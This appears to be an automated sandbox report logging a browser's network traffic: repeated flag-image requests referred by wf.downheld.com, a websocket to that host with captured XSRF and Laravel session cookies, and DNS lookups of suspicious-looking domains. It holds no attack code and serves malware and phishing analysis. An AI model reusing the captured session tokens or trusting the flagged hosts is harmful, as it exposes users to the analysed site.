Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tw.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tj.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/th.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tr.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tl.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tv.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tg.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ug.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ua.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ae.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/to.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tt.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gb.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/uy.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tr.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/uz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/tv.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/vu.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/va.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ve.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ua.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ug.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/vn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ae.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ye.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/gb.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/uy.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/zm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/uz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/zw.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/vu.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/va.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ve.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/vn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ye.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/zm.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/zw.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /web7socket/socket.io/?type=User&appnum=2&EIO=4&transport=websocket HTTP/1.1Host: wf.downheld.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://wf.downheld.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjNlT3pFbjV0VUhLME1XcU53WDZwOEE9PSIsInZhbHVlIjoiVmVjU2RhRVhyU3hHUXdtYWNJRFRTNXdxc2J3TzFUVDg3bzVrWVN0bW1oMGpJWkFQMTM1Mys1Rk5Mc3BlbGQxbVAzUFFwZTdJZ2JkdWdMVEZLbTA3WDZrKzlrdlR6d01rUkJKVis5RFNsQm16QXlaMlZTN3dDQnBWb0hZVThsMmgiLCJtYWMiOiIxNzY2Zjg3ZTlhZjZjMjY2NGIwODNkNzFlYmY2NzgzN2ZlMWMyY2ZmOWY1ZGY5NmVjMDhjN2VlNDY2OTIwYjM2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJlMld0LzJaTUdLSG9jWHVVTm9oQmc9PSIsInZhbHVlIjoiWC9UN2tsQklKU0tCU3Y1VXZlZmh4VHBIRkdUc2IzQjYvd1NZS2owaXc1TnhBWnM1eW04RHp6TjNJditoRjkvck9ydjVGb1dSMVlQK24raEtlQitZRFlCZ0Y2czBiam9kTVFnT1JlZVNZYmlldlZPWEZoOHlLeTFpajNRaS9Edk8iLCJtYWMiOiI1MDc4MjY3MjhlMmZkMmM2NjM2MzE0ZjlkN2U0NGYxYzA0NzFhMjRhMGY3YmQ5NzZiOTBmNzZlZWUxM2E0NGI4IiwidGFnIjoiIn0%3DSec-WebSocket-Key: D+3y+LyPSBZNMzZj9C120w==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits

Source: chromecache_377.2.dr	String found in binary or memory: S(b)\|\|Hm(a,b)},b)},It=function(){return[L.m.R,L.m.T]},Jt=/^(?:www\.)?google(?:\.com?)?(?:\.[a-z]{2}t?)?$/,Kt=/^www\.googleadservices\.com$/,Ot=/^gad_source[_=](\d+)$/;function Tt(){return qo("dedupe_gclid",function(){return lr()})};var Ut=/^(www\.)?google(\.com?)?(\.[a-z]{2}t?)?$/,Vt=/^www.googleadservices.com$/;function Wt(a){a\|\|(a=Xt());return a.fo?!1:a.fn\|\|a.gn\|\|a.kn\|\|a.hn\|\|a.rf\|\|a.Pm\|\|a.jn\|\|a.Um?!0:!1}function Xt(){var a={},b=Rr(!0);a.fo=!!b._up;var c=gt();a.fn=c.aw!==void 0;a.gn=c.dc!==void 0;a.kn=c.wbraid!==void 0;a.hn=c.gbraid!==void 0;a.jn=c.gclsrc==="aw.ds";a.rf=Gt().rf;var d=A.referrer?ck(ik(A.referrer),"host"):"";a.Um=Ut.test(d);a.Pm=Vt.test(d);return a};var Yt=["https://www.google.com","https://www.youtube.com"]; equals www.youtube.com (Youtube)
Source: chromecache_377.2.dr	String found in binary or memory: return f}yH.K="internal.enableAutoEventOnTimer";var $b=va(["data-gtm-yt-inspected-"]),AH=["www.youtube.com","www.youtube-nocookie.com"],BH,CH=!1; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: buildin.ai
Source: global traffic	DNS traffic detected: DNS query: cdn.buildin.ai
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: res.wx.qq.com
Source: global traffic	DNS traffic detected: DNS query: ipapi.co
Source: global traffic	DNS traffic detected: DNS query: jjy.fyaadd.cn
Source: global traffic	DNS traffic detected: DNS query: wf.downheld.com
Source: global traffic	DNS traffic detected: DNS query: vzm.hqfyed.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.socket.io
Source: global traffic	DNS traffic detected: DNS query: flagpedia.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com

Source: unknown

HTTP traffic detected: POST /api/spaces/getPublicData HTTP/1.1Host: buildin.aiConnection: keep-aliveContent-Length: 53x-platform: web-cookiex-app-origin: websec-ch-ua-platform: "Windows"Accept-Language: en-US,en;q=0.9,zh;q=0.8x-product: buildinsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0app_version_name: 1.138.0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, */*Content-Type: application/jsonX-SENDER-ID: 56b3aa97-9597-45ad-a41e-3ad216e5b524Origin: https://buildin.aiSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=trueAccept-Encoding: gzip, deflate, br, zstdCookie: next_lng=undefined; _ga_03Y654EEER=GS1.1.1743524555.1.0.1743524555.0.0.0; _ga=GA1.1.1561649684.1743524556; locale=en-us

